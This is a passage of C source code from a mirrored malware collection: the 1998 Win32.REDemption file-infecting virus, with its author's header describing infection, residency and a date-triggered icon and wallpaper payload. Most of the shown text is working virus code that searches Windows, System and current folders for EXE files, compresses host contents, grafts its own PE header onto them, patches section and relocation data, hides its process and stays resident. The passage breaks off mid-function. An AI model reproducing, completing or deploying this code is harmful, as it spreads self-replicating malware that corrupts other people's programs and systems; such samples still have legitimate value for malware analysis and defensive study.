mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
1831 lines
59 KiB
NASM
1831 lines
59 KiB
NASM
????????????????????????????????????????????????????????????????[win32red.c]??
|
|
/*
|
|
Win32.REDemption.9216 virus.
|
|
(c) 1998. Jacky Qwerty/29A.
|
|
|
|
Description
|
|
|
|
This is a resident HLL (High Level Language) Win32 appender virus
|
|
written in C. It infects all sort of EXE files: DOS EXE files, NE files,
|
|
PE files from Win32 (Win95/NT), etc. Infected files only spread in Win32
|
|
platforms, including Win3.x with Win32s subsystem. The virus infects
|
|
EXE files by changing the pointer at 3Ch in the MZ header which points
|
|
to the new EXE header (if any) placing another pointer to the virus own
|
|
PE header attached at the end of the file. When the virus executes, it
|
|
infects all EXE files from Windows, System and current folder. Then it
|
|
spawns itself as another task (thus staying resident), makes itself
|
|
invisible (thus becoming unloadable) and periodically searches for non-
|
|
infected EXE files in all drives, infecting them in the background.
|
|
|
|
Most interesting feature of this virus is that infected files don't
|
|
grow at all, that is, files have same size before and after infection.
|
|
The virus compresses part of its host by using own JQCODING algorithm.
|
|
It also copies host icon to its own resource section to show original icon.
|
|
The virus has no problems related to finding the KERNEL32 base address
|
|
and its API functions. This is because all API functions are imported
|
|
implicitly from the virus own import table. The virus takes special care
|
|
of patching appropriately all RVA and RAW fields from its own PE header,
|
|
including code, data, imports, relocations and resource sections. This
|
|
is needed for the virus to spread succesfully through all kinds of hosts.
|
|
|
|
Payload
|
|
|
|
On October the 29th, the virus replaces the main icon of all infected
|
|
programs with its own icon, a 29A logo. It also changes default
|
|
desktop wallpaper to such logo.
|
|
|
|
To build
|
|
|
|
Just run the BUILD.BAT file to build release version. VC++ 6.0 compiler
|
|
was used since it proved to optimize better than Borland's or Watcom's.
|
|
|
|
Greets go to
|
|
|
|
All 29Aers..... for all the work quality and effort during this #3 issue,
|
|
keep up the good work dudes!
|
|
b0z0........... for such invaluable feedback during betatesting, thanks
|
|
a lot man, you rock!
|
|
My gf Carol.... who's been pushing me to quit the scene, but still not
|
|
enough, i.o.u. #8).
|
|
Rajaat/Sandy... Hey we all miss you.. come back to 29A!
|
|
|
|
Disclaimer
|
|
|
|
This source code is provided for educational purposes only. The author is
|
|
NOT responsible in any way, for problems it may cause due to improper use!
|
|
|
|
(c) 1998. Jacky Qwerty/29A.
|
|
*/
|
|
|
|
#define WIN32_LEAN_AND_MEAN
|
|
|
|
#include
|
|
|
|
#ifdef tsr
|
|
#include "win95sys.h"
|
|
#endif
|
|
|
|
#ifdef compr
|
|
#include "jqcoding.h"
|
|
#endif
|
|
|
|
#ifdef icon
|
|
#include "winicons.h"
|
|
#include "winres.h"
|
|
#endif
|
|
|
|
|
|
//constants..
|
|
|
|
#ifdef _MSC_VER // Microsoft VC++
|
|
# ifdef release
|
|
# define DATA_SECTION_RAW 0x200 //0xE00
|
|
# else
|
|
# define DATA_SECTION_RAW 0x1400 //0x1600
|
|
# endif
|
|
# define COMPILER_DATA 0 //0x30 (VC++4)
|
|
# define SIZEOF_RESOURCE_DATA 0x504
|
|
#endif
|
|
|
|
#ifdef __BORLANDC__ // Borland C++
|
|
# ifdef release
|
|
# define DATA_SECTION_RAW ? //0x1000
|
|
# define COMPILER_DATA 0
|
|
# else
|
|
# define DATA_SECTION_RAW ? //0x6200
|
|
# define COMPILER_DATA 0x74
|
|
# endif
|
|
# define SIZEOF_RESOURCE_DATA ?
|
|
#endif
|
|
|
|
#define VIRUS_SIZE (FILE_SIZE - PE_HEADER_OFFSET)
|
|
|
|
#define STARTOF_CODEDATA (DATA_SECTION_RAW + COMPILER_DATA -\
|
|
PE_HEADER_OFFSET)
|
|
#define RawSelfCheck (STARTOF_CODEDATA + sizeof(szCopyright) - 5)
|
|
|
|
#define INIT_VARS_OFFSET (STARTOF_CODEDATA + sizeof(szCopyright) +\
|
|
sizeof(szExts) + 3 & -4)
|
|
#ifdef tsr
|
|
#define RawProgType INIT_VARS_OFFSET
|
|
#define RawSrcVir (RawProgType + 4)
|
|
#else
|
|
#define RawSrcVir INIT_VARS_OFFSET
|
|
#endif
|
|
#define RawOldPtr2NewEXE (RawSrcVir + 4)
|
|
#define RawOldFileSize (RawOldPtr2NewEXE + 4)
|
|
#ifdef compr
|
|
#define RawnComprSize (RawOldFileSize + 4)
|
|
#define RawCipherTarget (RawnComprSize + 4)
|
|
#define TmpVal RawCipherTarget
|
|
#else
|
|
#define TmpVal RawOldFileSize
|
|
#endif
|
|
#ifdef icon
|
|
#define RawOldResourceAddr (TmpVal + 4)
|
|
#endif
|
|
|
|
#ifndef compr
|
|
#define SIZE_PAD 101
|
|
#endif
|
|
#define READ_ONLY FALSE
|
|
#define WRITE_ACCESS TRUE
|
|
#define SIZEOF_FILEEXT 3
|
|
#define MAX_FILESIZE 0x4000000 //64 MB
|
|
#ifdef compr
|
|
#define MIN_FILESIZE 0x4000 //16 KB
|
|
#endif
|
|
#define PREV_LAPSE 3 //1 * 60 //10 * 60 //seconds
|
|
#define SEEK_LAPSE 3 //5 //30 //seconds
|
|
|
|
|
|
//macros..
|
|
|
|
#define Rva2Ptr(Type, Base, RVA) ((Type)((DWORD)(Base) + (DWORD)(RVA)))
|
|
|
|
#define IsFile(pFindData) (!((pFindData)->dwFileAttributes &\
|
|
FILE_ATTRIBUTE_DIRECTORY))
|
|
#define IsFolder(pFindData) (!IsFile(pFindData) &&\
|
|
(pFindData)->cFileName[0] != '.')
|
|
|
|
#define PushVar(Object) __asm push (Object)
|
|
#define PopVar(Object) __asm pop (Object)
|
|
|
|
|
|
//type definitions..
|
|
|
|
#ifdef tsr
|
|
typedef BYTE PROG_TYPE, *PPROG_TYPE;
|
|
#define TSR_COPY 0
|
|
#define HOST_COPY 1
|
|
#endif
|
|
|
|
typedef BYTE BOOLB;
|
|
|
|
typedef struct _IMAGE_RELOCATION_DATA { // not defined in winnt.h
|
|
WORD RelocOffset :12;
|
|
WORD RelocType :4;
|
|
} IMAGE_RELOCATION_DATA, *PIMAGE_RELOCATION_DATA;
|
|
|
|
#ifdef icon
|
|
typedef struct _ICONIMAGES {
|
|
PICONIMAGE pLargeIcon;
|
|
PICONIMAGE pSmallIcon;
|
|
} ICONIMAGES, *PICONIMAGES;
|
|
#endif
|
|
|
|
|
|
//global variables..
|
|
|
|
BYTE szCopyright[] = "(c) Win32.REDemption (C ver.1.0) by JQwerty/29A",
|
|
szExts[] = "eXeSCr";
|
|
#ifdef tsr
|
|
PROG_TYPE ProgType = HOST_COPY;
|
|
#endif
|
|
DWORD SrcVir = PE_HEADER_OFFSET, OldPtr2NewEXE = 1, OldFileSize = FILE_SIZE;
|
|
#ifdef compr
|
|
DWORD nComprSize = 1, CipherTarget = 1;
|
|
#endif
|
|
#ifdef icon
|
|
DWORD OldResourceAddr = RESOURCE_SECTION_RVA;
|
|
#include "jq29aico.h"
|
|
#endif
|
|
DWORD ExitCode = 0;
|
|
#ifndef compr
|
|
DWORD _TgtVir;
|
|
#else
|
|
DWORD CipherSource;
|
|
#endif
|
|
DWORD _RvaDelta;
|
|
HANDLE hHandle1, hHandle2;
|
|
BYTE PathName[MAX_PATH], HostName[MAX_PATH], TmpName[MAX_PATH];
|
|
WIN32_FIND_DATA FindData, FindDataTSR;
|
|
STARTUPINFO StartupInfo = { 0 };
|
|
PROCESS_INFORMATION ProcessInfo;
|
|
PIMAGE_DOS_HEADER pMZ, pHostMZ;
|
|
PIMAGE_NT_HEADERS _pHostPE;
|
|
#ifdef msgbox
|
|
BOOLB CancelFolderSeek = FALSE, CancelFileSeek = FALSE;
|
|
#ifdef tsr
|
|
HANDLE hMutex;
|
|
#endif
|
|
#endif
|
|
#ifdef icon
|
|
BOOLB bPayLoadDay = FALSE;
|
|
PIMAGE_RESOURCE_DIRECTORY pRsrcStart;
|
|
BYTE HostLargeIcon[SIZEOF_LARGE_ICON];
|
|
BYTE HostSmallIcon[SIZEOF_SMALL_ICON];
|
|
#endif
|
|
#ifdef compr
|
|
BYTE ComprMem[0x10000];
|
|
#ifdef icon
|
|
#define SIZEOF_BMP 0x8076 //32Kb + Bitmap header..
|
|
BYTE jq29aBmp[SIZEOF_BMP] = { 0 };
|
|
#endif
|
|
#endif
|
|
|
|
#define sz29A (szCopyright + sizeof(szCopyright) - 4)
|
|
#define szJQ (szCopyright + sizeof(szCopyright) - 12)
|
|
|
|
|
|
//function declarations..
|
|
|
|
VOID Win32Red(VOID);
|
|
BOOLB OpenMapFile(PBYTE FileName, BOOLB WriteAccess);
|
|
VOID CloseTruncFile(BOOLB WriteAccess);
|
|
VOID InfectPath(PBYTE PathName, DWORD cBytes);
|
|
VOID CloseUnmapFile(BOOLB WriteAccess);
|
|
PBYTE GetEndOfPath(PBYTE pTgt, PBYTE pSr);
|
|
PVOID Rva2Raw(DWORD Rva);
|
|
#ifdef icon
|
|
VOID FixResources(PIMAGE_RESOURCE_DIRECTORY pRsrcDir);
|
|
VOID GetDefaultIcons(PICONIMAGES pIconImages,
|
|
PVOID pNEorPE);
|
|
#endif
|
|
#ifdef tsr
|
|
VOID ExecTemp(PROG_TYPE ProgType);
|
|
__inline VOID SeekTSR(VOID);
|
|
VOID WalkFolder(PBYTE PathName);
|
|
VOID HideProcess(VOID);
|
|
__inline PPROCESS_DATABASE GetProcessDB(VOID);
|
|
__inline PTHREAD_DATABASE GetThreadDB(VOID);
|
|
#else
|
|
__inline VOID ExecTemp(VOID);
|
|
#endif
|
|
|
|
|
|
//function definitions..
|
|
|
|
VOID Win32Red() {
|
|
#ifdef tsr
|
|
#ifndef msgbox
|
|
HANDLE hMutex;
|
|
#endif
|
|
HideProcess();
|
|
#endif
|
|
#ifdef icon
|
|
#include "payload.c"
|
|
#endif
|
|
if (GetModuleFileName(0, HostName, MAX_PATH) &&
|
|
OpenMapFile(HostName, READ_ONLY)) {
|
|
pHostMZ = pMZ;
|
|
PushVar(hHandle1); //better pushin/popin than usin a temp. var.
|
|
PushVar(hHandle2); //better pushin/popin than usin a temp. var.
|
|
SrcVir += (DWORD)pMZ;
|
|
#ifdef tsr
|
|
if (ProgType != TSR_COPY) {
|
|
#ifdef msgbox
|
|
MessageBox(NULL, "Non-resident stage..", szCopyright, MB_OK);
|
|
#endif
|
|
#endif
|
|
#ifdef compr
|
|
PushVar(nComprSize);
|
|
PushVar(CipherTarget);
|
|
#endif
|
|
InfectPath(PathName, GetWindowsDirectory(PathName, 0x7F));
|
|
InfectPath(PathName, GetSystemDirectory(PathName, 0x7F));
|
|
InfectPath(PathName, (*PathName = '.', 1));
|
|
#ifdef compr
|
|
PopVar(CipherTarget);
|
|
PopVar(nComprSize);
|
|
#endif
|
|
#ifdef tsr
|
|
}
|
|
else {
|
|
if ((hMutex = CreateMutex(NULL, FALSE, szJQ)))
|
|
if (GetLastError() == ERROR_ALREADY_EXISTS)
|
|
#if 1
|
|
#ifdef msgbox
|
|
MessageBox(NULL, "TSR: Mutex exists!", szCopyright, MB_OK),
|
|
#endif
|
|
#endif
|
|
CloseHandle(hMutex),
|
|
ExitProcess(ExitCode);
|
|
#if 1
|
|
#ifdef msgbox
|
|
else
|
|
MessageBox(NULL, "TSR: Mutex created!", szCopyright, MB_OK);
|
|
#endif
|
|
#endif
|
|
#ifdef msgbox
|
|
MessageBox(NULL, "Resident stage..", szCopyright, MB_OK);
|
|
#endif
|
|
SeekTSR();
|
|
#ifdef msgbox
|
|
MessageBox(NULL, "TSR: bye bye..", szCopyright, MB_OK);
|
|
#endif
|
|
}
|
|
#endif
|
|
PopVar(hHandle2); //better pushin/popin than usin a temp. var.
|
|
PopVar(hHandle1); //better pushin/popin than usin a temp. var.
|
|
pMZ = pHostMZ;
|
|
CloseUnmapFile(READ_ONLY);
|
|
#ifdef tsr
|
|
if (ProgType != TSR_COPY) {
|
|
if ((hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, szJQ)))
|
|
#ifndef msgbox
|
|
CloseHandle(hMutex);
|
|
#else
|
|
CloseHandle(hMutex),
|
|
MessageBox(NULL, "HOST: Mutex exists!", szCopyright, MB_OK);
|
|
#endif
|
|
else
|
|
if (GetTempPath(MAX_PATH, PathName) - 1 < MAX_PATH - 1)
|
|
#ifdef msgbox
|
|
MessageBox(NULL, "HOST: Mutex doesn't exist!",
|
|
szCopyright, MB_OK),
|
|
#endif
|
|
ExecTemp(TSR_COPY);
|
|
GetEndOfPath(PathName, HostName);
|
|
ExecTemp(HOST_COPY);
|
|
}
|
|
#else
|
|
GetEndOfPath(PathName, HostName);
|
|
ExecTemp();
|
|
#endif
|
|
}
|
|
ExitProcess(ExitCode);
|
|
}
|
|
|
|
#ifdef tsr
|
|
VOID ExecTemp(PROG_TYPE ProgType) {
|
|
#else
|
|
__inline VOID ExecTemp() {
|
|
#endif
|
|
PBYTE pSrc, szCmdLine;
|
|
HANDLE hFindFile;
|
|
#ifdef compr
|
|
BOOLB DecomprOK = TRUE;
|
|
#endif
|
|
#ifdef tsr
|
|
DWORD cBytes;
|
|
if (ProgType == TSR_COPY) {
|
|
if (PathName[(cBytes = lstrlen(PathName)) - 1] != '\\')
|
|
PathName[cBytes++] = '\\';
|
|
*(PDWORD)(PathName + cBytes) = '*A92';
|
|
*(PDWORD)(PathName + cBytes + 4) = '*.';
|
|
if ((hFindFile = FindFirstFile(PathName, &FindData)) !=
|
|
INVALID_HANDLE_VALUE) {
|
|
do {
|
|
lstrcpy(PathName + cBytes, FindData.cFileName);
|
|
DeleteFile(PathName);
|
|
} while (FindNextFile(hFindFile, &FindData));
|
|
FindClose(hFindFile);
|
|
}
|
|
PathName[cBytes] = '\x0';
|
|
}
|
|
#endif
|
|
if (!(cBytes = lstrlen(PathName),
|
|
GetTempFileName(PathName, sz29A, 0, PathName)) &&
|
|
(GetTempPath(MAX_PATH, PathName) - 1 >= MAX_PATH - 1 ||
|
|
!(cBytes = lstrlen(PathName),
|
|
GetTempFileName(PathName, sz29A, 0, PathName))))
|
|
return;
|
|
if (ProgType != TSR_COPY)
|
|
for (;;) {
|
|
pSrc = PathName + lstrlen(lstrcpy(TmpName, PathName));
|
|
while (*--pSrc != '.'); *(PDWORD)(pSrc + 1) = 'EXE';
|
|
if (MoveFile(TmpName, PathName))
|
|
break;
|
|
DeleteFile(TmpName);
|
|
PathName[cBytes] = '\x0';
|
|
if (!GetTempFileName(PathName, sz29A, 0, PathName))
|
|
return;
|
|
}
|
|
if (CopyFile(HostName, PathName, FALSE) &&
|
|
SetFileAttributes(PathName, FILE_ATTRIBUTE_NORMAL) &&
|
|
(hFindFile = FindFirstFile(HostName, &FindData)) !=
|
|
INVALID_HANDLE_VALUE) {
|
|
if (OpenMapFile(PathName, WRITE_ACCESS)) {
|
|
#ifdef tsr
|
|
if (ProgType != TSR_COPY) {
|
|
#endif
|
|
pMZ->e_lfanew = OldPtr2NewEXE;
|
|
#ifndef compr
|
|
FindData.nFileSizeLow = OldFileSize;
|
|
#else
|
|
#ifdef msgbox
|
|
#if 0
|
|
MessageBox(NULL, "Host decoding is about to start..",
|
|
szCopyright, MB_OK);
|
|
#endif
|
|
#endif
|
|
if (jq_decode(Rva2Ptr(PBYTE, pMZ, OldFileSize),
|
|
Rva2Ptr(PBYTE, pMZ, CipherTarget + nComprSize),
|
|
nComprSize,
|
|
ComprMem) != OldFileSize - CipherTarget) {
|
|
DecomprOK = FALSE;
|
|
#ifdef msgbox
|
|
#if 1
|
|
MessageBox(NULL, "Decode error: File is corrupt!",
|
|
szCopyright, MB_OK);
|
|
#endif
|
|
#if 0
|
|
}
|
|
else {
|
|
MessageBox(NULL, "Host decoded succesfully!",
|
|
szCopyright, MB_OK);
|
|
#endif
|
|
#endif
|
|
}
|
|
#endif
|
|
#ifdef tsr
|
|
}
|
|
else
|
|
*Rva2Ptr(PPROG_TYPE,
|
|
Rva2Ptr(PIMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew),
|
|
RawProgType) = TSR_COPY;
|
|
#endif
|
|
#ifndef compr
|
|
UnmapViewOfFile(pMZ);
|
|
CloseTruncFile(WRITE_ACCESS);
|
|
#else
|
|
CloseUnmapFile(WRITE_ACCESS);
|
|
if (DecomprOK) {
|
|
#endif
|
|
pSrc = GetCommandLine(); while (*++pSrc != 0x20 && *pSrc);
|
|
if ((szCmdLine = (PBYTE)GlobalAlloc(LPTR, MAX_PATH
|
|
+ lstrlen(pSrc) + 1))) {
|
|
lstrcat(lstrcpy(szCmdLine, PathName), pSrc);
|
|
(BYTE)StartupInfo.cb = sizeof(STARTUPINFO);
|
|
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
|
|
CREATE_NEW_CONSOLE, NULL, NULL,
|
|
&StartupInfo, &ProcessInfo)) {
|
|
#ifdef tsr
|
|
if (ProgType != TSR_COPY) {
|
|
#endif
|
|
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
|
|
GetExitCodeProcess(ProcessInfo.hProcess, &ExitCode);
|
|
CloseHandle(ProcessInfo.hThread);
|
|
CloseHandle(ProcessInfo.hProcess);
|
|
#ifdef tsr
|
|
}
|
|
#endif
|
|
}
|
|
GlobalFree(szCmdLine);
|
|
}
|
|
#ifdef compr
|
|
}
|
|
#endif
|
|
}
|
|
FindClose(hFindFile);
|
|
}
|
|
DeleteFile(PathName);
|
|
}
|
|
|
|
BOOLB OpenMapFile(PBYTE FileName, BOOLB WriteAccess) {
|
|
#ifndef compr
|
|
DWORD NewFileSize;
|
|
#endif
|
|
hHandle1 = CreateFile(FileName,
|
|
WriteAccess
|
|
? GENERIC_READ | GENERIC_WRITE
|
|
: GENERIC_READ,
|
|
FILE_SHARE_READ,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
FILE_ATTRIBUTE_NORMAL,
|
|
0);
|
|
if (hHandle1 == INVALID_HANDLE_VALUE)
|
|
return FALSE;
|
|
hHandle2 = CreateFileMapping(hHandle1,
|
|
NULL,
|
|
WriteAccess ? PAGE_READWRITE : PAGE_READONLY,
|
|
0,
|
|
#ifdef compr
|
|
0,
|
|
#else
|
|
WriteAccess
|
|
? NewFileSize =
|
|
(((_TgtVir =
|
|
(FindData.nFileSizeLow + 0x1FF &
|
|
-0x200)
|
|
+ PE_HEADER_OFFSET)
|
|
+ (VIRUS_SIZE + SIZE_PAD - 1))
|
|
/ SIZE_PAD) * SIZE_PAD
|
|
: 0,
|
|
#endif
|
|
NULL);
|
|
if (!hHandle2) {
|
|
CloseHandle(hHandle1);
|
|
return FALSE;
|
|
}
|
|
pMZ = MapViewOfFile(hHandle2,
|
|
WriteAccess ? FILE_MAP_WRITE : FILE_MAP_READ,
|
|
0,
|
|
0,
|
|
#ifdef compr
|
|
0
|
|
#else
|
|
WriteAccess ? NewFileSize : 0
|
|
#endif
|
|
);
|
|
if (!pMZ) {
|
|
CloseTruncFile(WriteAccess);
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
VOID CloseTruncFile(BOOLB WriteAccess) {
|
|
CloseHandle(hHandle2);
|
|
if (WriteAccess) {
|
|
#ifndef compr
|
|
SetFilePointer(hHandle1, FindData.nFileSizeLow, NULL, FILE_BEGIN);
|
|
SetEndOfFile(hHandle1);
|
|
#endif
|
|
SetFileTime(hHandle1, NULL, NULL, &FindData.ftLastWriteTime);
|
|
}
|
|
CloseHandle(hHandle1);
|
|
}
|
|
|
|
VOID InfectPath(PBYTE PathName, DWORD cBytes) {
|
|
PBYTE pSrc, pTgt, pExt, pEndRelocs, pRelocBase;
|
|
#ifdef compr
|
|
PBYTE pComprBuf;
|
|
SYSTEMTIME SystemTime;
|
|
#endif
|
|
DWORD FileExt, TgtVir, RvaDelta, RawDelta, nCount, nSections, nRvas;
|
|
PIMAGE_SECTION_HEADER pSectionHdr;
|
|
PIMAGE_NT_HEADERS pPE, pHostPE;
|
|
PIMAGE_BASE_RELOCATION pRelocs;
|
|
PIMAGE_RELOCATION_DATA pRelocData;
|
|
PIMAGE_IMPORT_DESCRIPTOR pImports;
|
|
PIMAGE_THUNK_DATA pImportData;
|
|
HANDLE hFindFile;
|
|
BOOLB Infect, bValidHeader;
|
|
#ifdef icon
|
|
ICONIMAGES IconImages;
|
|
#endif
|
|
if (0x7F <= cBytes - 1) return;
|
|
if (PathName[cBytes - 1] != '\\') PathName[cBytes++] = '\\';
|
|
*(PDWORD)(PathName + cBytes) = '*.*';
|
|
#ifdef msgbox
|
|
switch (MessageBox(NULL, PathName, szCopyright,
|
|
MB_YESNOCANCEL | MB_ICONEXCLAMATION)) {
|
|
case IDCANCEL:
|
|
CancelFolderSeek = TRUE;
|
|
case IDNO:
|
|
return;
|
|
}
|
|
#endif
|
|
if ((hFindFile = FindFirstFile(PathName, &FindData)) ==
|
|
INVALID_HANDLE_VALUE)
|
|
return;
|
|
do {
|
|
{
|
|
#ifdef compr
|
|
BYTE KeySecond, TmpKeySec;
|
|
#endif
|
|
if (!IsFile(&FindData) || FindData.nFileSizeHigh ||
|
|
#ifdef compr
|
|
FindData.nFileSizeLow < MIN_FILESIZE ||
|
|
#endif
|
|
(FindData.nFileSizeLow & -MAX_FILESIZE) ||
|
|
#ifndef compr
|
|
!(FindData.nFileSizeLow % SIZE_PAD)
|
|
#else
|
|
(FileTimeToSystemTime(&FindData.ftLastWriteTime, &SystemTime),
|
|
TmpKeySec =
|
|
(BYTE)(((BYTE)SystemTime.wYear - (BYTE)SystemTime.wMonth +
|
|
(BYTE)SystemTime.wDay - (BYTE)SystemTime.wHour +
|
|
(BYTE)SystemTime.wMinute ^ 0x6A) & 0x3E),
|
|
KeySecond = TmpKeySec < 60 ? TmpKeySec : TmpKeySec - 4,
|
|
KeySecond == (BYTE)SystemTime.wSecond)
|
|
#endif
|
|
)
|
|
continue;
|
|
#ifdef compr
|
|
(BYTE)SystemTime.wSecond = KeySecond;
|
|
#endif
|
|
}
|
|
pTgt = lstrcpy(PathName + cBytes, FindData.cFileName)
|
|
+ lstrlen(FindData.cFileName);
|
|
FileExt = *(PDWORD)(pTgt - SIZEOF_FILEEXT) & ~0xFF202020;
|
|
pExt = szExts;
|
|
do {
|
|
if (FileExt != (*(PDWORD)pExt & ~0xFF202020) ||
|
|
pTgt[- 1 - SIZEOF_FILEEXT] != '.' ||
|
|
!OpenMapFile(PathName, READ_ONLY))
|
|
continue;
|
|
Infect = FALSE;
|
|
#ifdef compr
|
|
pComprBuf = NULL;
|
|
#endif
|
|
if (pMZ->e_magic == IMAGE_DOS_SIGNATURE) {
|
|
bValidHeader = FALSE;
|
|
pPE = Rva2Ptr(PIMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew);
|
|
if ((DWORD)pMZ < (DWORD)pPE &&
|
|
(DWORD)pPE < Rva2Ptr(DWORD,
|
|
pMZ,
|
|
FindData.nFileSizeLow)
|
|
- 0x7F &&
|
|
(bValidHeader = TRUE,
|
|
pPE->Signature == IMAGE_NT_SIGNATURE &&
|
|
*Rva2Ptr(PDWORD, pPE, RawSelfCheck) == 'A92/')) {
|
|
} else {
|
|
#ifndef compr
|
|
Infect = TRUE;
|
|
#else
|
|
{
|
|
DWORD nMaxComprSize;
|
|
if ((pComprBuf =
|
|
(PBYTE)GlobalAlloc(
|
|
LPTR,
|
|
nMaxComprSize =
|
|
FindData.nFileSizeLow / 8 * 9 + 12
|
|
)
|
|
)) {
|
|
#ifdef msgbox
|
|
#if 0
|
|
MessageBox(NULL, "Host encoding is about to start..",
|
|
FindData.cFileName, MB_OK);
|
|
#endif
|
|
#endif
|
|
nComprSize =
|
|
jq_encode(pComprBuf + nMaxComprSize,
|
|
Rva2Ptr(PBYTE, pMZ, FindData.nFileSizeLow),
|
|
FindData.nFileSizeLow - sizeof(IMAGE_DOS_HEADER),
|
|
ComprMem);
|
|
TgtVir = (CipherTarget + nComprSize - PE_HEADER_OFFSET
|
|
+ 0x1FF & -0x200) + PE_HEADER_OFFSET;
|
|
if (TgtVir + VIRUS_SIZE - 1 < FindData.nFileSizeLow)
|
|
#ifdef msgbox
|
|
#if 0
|
|
MessageBox(NULL, "Host encoded succesfully!",
|
|
FindData.cFileName, MB_OK),
|
|
#endif
|
|
#endif
|
|
Infect = TRUE;
|
|
#ifdef msgbox
|
|
#if 0
|
|
else
|
|
MessageBox(NULL, "Host encoded succesfully, but "
|
|
"Win32.RED code didn't fit, "
|
|
"skipping file..",
|
|
FindData.cFileName, MB_OK);
|
|
#endif
|
|
#endif
|
|
}
|
|
}
|
|
#endif
|
|
}
|
|
}
|
|
CloseUnmapFile(READ_ONLY);
|
|
if (!Infect || !SetFileAttributes(PathName, FILE_ATTRIBUTE_NORMAL)) {
|
|
#ifdef compr
|
|
if (pComprBuf) GlobalFree(pComprBuf);
|
|
#endif
|
|
continue;
|
|
}
|
|
#ifdef msgbox
|
|
switch (MessageBox(NULL, PathName, szCopyright,
|
|
MB_YESNOCANCEL | MB_ICONEXCLAMATION)) {
|
|
case IDCANCEL:
|
|
CancelFileSeek = TRUE; break;
|
|
case IDYES:
|
|
#endif
|
|
if (OpenMapFile(PathName, WRITE_ACCESS)) {
|
|
#ifdef icon
|
|
IconImages.pLargeIcon = NULL;
|
|
IconImages.pSmallIcon = NULL;
|
|
if (!bPayLoadDay && bValidHeader) {
|
|
GetDefaultIcons(&IconImages,
|
|
Rva2Ptr(PVOID, pMZ, pMZ->e_lfanew));
|
|
if (IconImages.pLargeIcon) {
|
|
pSrc = (PBYTE)IconImages.pLargeIcon;
|
|
pTgt = HostLargeIcon;
|
|
nCount = SIZEOF_LARGE_ICON;
|
|
do *pTgt++ = *pSrc++; while (--nCount);
|
|
if (IconImages.pSmallIcon) {
|
|
pSrc = (PBYTE)IconImages.pSmallIcon;
|
|
nCount = SIZEOF_SMALL_ICON;
|
|
do *pTgt++ = *pSrc++; while (--nCount);
|
|
}
|
|
}
|
|
}
|
|
#endif
|
|
#ifdef compr
|
|
pTgt = Rva2Ptr(PBYTE, pMZ, CipherTarget);
|
|
pSrc = (PBYTE)CipherSource;
|
|
nCount = nComprSize;
|
|
do *pTgt++ = *pSrc++; while (--nCount);
|
|
GlobalFree(pComprBuf); pComprBuf = NULL; //This line is optional
|
|
_pHostPE = pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS,
|
|
pMZ,
|
|
TgtVir);
|
|
#else
|
|
_pHostPE = pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, //The comented code
|
|
pMZ, // below generates
|
|
TgtVir = _TgtVir); // more bytez than
|
|
#endif // this code becoz
|
|
pTgt = (PBYTE)pHostPE; // the linker adds
|
|
pSrc = (PBYTE)SrcVir; // other functionz
|
|
nCount = VIRUS_SIZE; // not needed!
|
|
do *pTgt++ = *pSrc++; while (--nCount); //
|
|
|
|
// CopyMemory((PBYTE)(pHostPE = Rva2Ptr(PIMAGE_NT_HEADERS, //Not in
|
|
// pMZ, //any DLL
|
|
// TgtVir)), //but in
|
|
// (PBYTE)SrcVir, //a RTL.
|
|
// VIRUS_SIZE); //
|
|
|
|
#ifdef tsr
|
|
if (ProgType == TSR_COPY)
|
|
*Rva2Ptr(PPROG_TYPE, pHostPE, RawProgType) = HOST_COPY;
|
|
#endif
|
|
*Rva2Ptr(PDWORD, pHostPE, RawSrcVir) = TgtVir;
|
|
*Rva2Ptr(PDWORD, pHostPE, RawOldPtr2NewEXE) = pMZ->e_lfanew;
|
|
*Rva2Ptr(PDWORD, pHostPE, RawOldFileSize) = FindData.nFileSizeLow;
|
|
#ifdef compr
|
|
*Rva2Ptr(PDWORD, pHostPE, RawnComprSize) = nComprSize;
|
|
*Rva2Ptr(PDWORD, pHostPE, RawCipherTarget) = CipherTarget;
|
|
#endif
|
|
|
|
_RvaDelta = RvaDelta =
|
|
((pHostPE->OptionalHeader.SizeOfHeaders +=
|
|
(RawDelta = TgtVir - pHostMZ->e_lfanew))
|
|
+ 0xFFF & -0x1000)
|
|
- pHostPE->OptionalHeader.BaseOfCode;
|
|
|
|
// fix RVAs in PE header..
|
|
|
|
pHostPE->OptionalHeader.AddressOfEntryPoint += RvaDelta;
|
|
pHostPE->OptionalHeader.BaseOfCode += RvaDelta;
|
|
pHostPE->OptionalHeader.BaseOfData += RvaDelta;
|
|
pSectionHdr = IMAGE_FIRST_SECTION(pHostPE);
|
|
nSections = pHostPE->FileHeader.NumberOfSections;
|
|
do {
|
|
pSectionHdr->PointerToRawData += RawDelta;
|
|
pSectionHdr++->VirtualAddress += RvaDelta;
|
|
} while (--nSections);
|
|
pHostPE->OptionalHeader.SizeOfImage =
|
|
(pSectionHdr - 1)->VirtualAddress
|
|
+ (pSectionHdr - 1)->Misc.VirtualSize
|
|
+ 0xFFF & -0x1000;
|
|
nRvas = pHostPE->OptionalHeader.NumberOfRvaAndSizes;
|
|
do {
|
|
if (!pHostPE->OptionalHeader.DataDirectory[--nRvas].
|
|
VirtualAddress)
|
|
continue;
|
|
pHostPE->OptionalHeader.DataDirectory[nRvas].
|
|
VirtualAddress += RvaDelta;
|
|
} while (nRvas);
|
|
|
|
// fix RVAs in code & reloc section..
|
|
|
|
pEndRelocs =
|
|
Rva2Ptr(
|
|
PBYTE,
|
|
(pRelocs =
|
|
Rva2Raw(pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
|
|
VirtualAddress)),
|
|
pHostPE->OptionalHeader.
|
|
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
|
|
Size - IMAGE_SIZEOF_BASE_RELOCATION);
|
|
do {
|
|
pRelocBase = Rva2Raw(pRelocs->VirtualAddress += RvaDelta);
|
|
pRelocData = (PIMAGE_RELOCATION_DATA)(pRelocs + 1);
|
|
(DWORD)pRelocs += pRelocs->SizeOfBlock;
|
|
do {
|
|
